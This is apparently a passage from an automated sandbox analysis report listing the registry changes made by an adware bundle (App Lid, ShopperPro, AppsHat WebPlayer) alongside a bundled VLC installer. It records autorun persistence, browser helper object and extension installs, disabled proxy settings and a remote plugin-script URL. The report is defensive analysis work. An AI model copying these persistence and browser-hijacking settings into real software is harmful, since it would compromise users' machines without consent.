kMzEyNTMzMjQzZTI4M2IzNzIzM2Qï¿¿Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/183.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\269]
"Version" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"Name" = "icm_base_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"Name" = "bpo_serp_somo_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\244]
"Name" = "engageya_inner_m"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"AppName" = "App Lid-codedownloader.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"Version" = "28"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"Params" = "{ source_id : 000820, sub_id : 0, uzid : appshatmadness"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"AppPath" = "%Program Files% (x86)\App Lid"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process testlsp.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:2844 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\AccDownload.dll,"

The process powershell.exe:3056 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:2880 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:4084 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3204 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process WerFault.exe:2136 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "05 00 00 C0 00 00 00 00 00 00 00 00 42 51 1F 00"

The process ShopperPro.exe:1744 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "eb48a9ab-49f6-4199-935d-4935ca672341"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B9 5C 52 99 18 1A D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1.38.0.1444"
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.0.7791.1444"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "04 D5 06 9E 18 1A D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.0.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "04 D5 06 9E 18 1A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

The process f72568d9-a3ec-45be-93e0-9f4ce730882b.exe:2384 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASAPI32]
"EnableFileTracing" = "0"
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASAPI32]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\f72568d9-a3ec-45be-93e0-9f4ce730882b_RASMANCS]
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"

The process WebPlayer.exe:4032 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351234145"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "91 EC 3D 20 19 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Wed Dec 17 18:47:44 UTC 0200 2014"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "20 42 DD 2F 19 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "20 42 DD 2F 19 1A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process App Lid-codedownloader.exe:2192 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process App Lid-codedownloader.exe:700 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process vlc-2.0.2-win32.exe:580 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\VLC.m2ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aiff\shell]
"(Default)" = "Open"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell]
"(Default)" = "Open"

[HKCR\VLC.adts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wmv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.voc]
"(Default)" = "VLC media file (.voc)"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.tta\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.adt\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell]
"(Default)" = "Open"

[HKCR\VLC.avi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.spx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell]
"(Default)" = "Open"

[HKCR\VLC.qcp]
"(Default)" = "VLC media file (.qcp)"

[HKCR\VLC.cue\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mov" = "VLC.mov"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell]
"(Default)" = "Open"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\Version]
"(Default)" = "1.0"

[HKCR\VLC.drc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ifo\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.amr]
"(Default)" = "VLC.amr"

[HKCR\VLC.wma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".PLS" = ""

[HKCR\VLC.ogv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".APE" = ""

[HKCR\VLC.mpe\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".a52" = "VLC.a52"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.adt\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.snd\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CDA" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rec" = "VLC.rec"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\.sdp]
"(Default)" = "VLC.sdp"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.m2t\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.b4s\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64]
"(Default)" = "VLC media file (.w64)"

[HKCR\VLC.adts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mxf" = ""

[HKCR\VLC.qcp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\VLC.divx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe]
"FriendlyAppName" = "VLC media player"

[HKCR\VLC.mpc\shell]
"(Default)" = "Open"

[HKCR\.qcp]
"(Default)" = "VLC.qcp"

[HKCR\VLC.nsv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.adts\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".qcp" = ""

[HKCR\VLC.nsv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.ogg]
"(Default)" = "VLC.ogg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Action" = "Play DVD movie"

[HKCR\VLC.avi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf\shell]
"(Default)" = "Open"

[HKCR\VLC.xspf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.avi\shell]
"(Default)" = "Open"

[HKCR\VLC.mid\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"URLInfoAbout" = "http://www.videolan.org/"

[HKCR\VLC.ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2t]
"(Default)" = "VLC media file (.m2t)"

[HKCR\VLC.mp3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m3u8\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mxf]
"(Default)" = "VLC.mxf"

[HKCR\VLC.ogm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m1v" = ""

[HKCR\VLC.flac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VideoLAN.VLCPlugin.1]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.au\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.caf]
"(Default)" = "VLC media file (.caf)"

[HKCR\VLC.wma\shell\Open]
"(Default)" = "Play"

[HKCR\.mp3]
"(Default)" = "VLC.mp3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.it\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.VCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wav\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.flac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.VCDMovie\shell\Open\command]
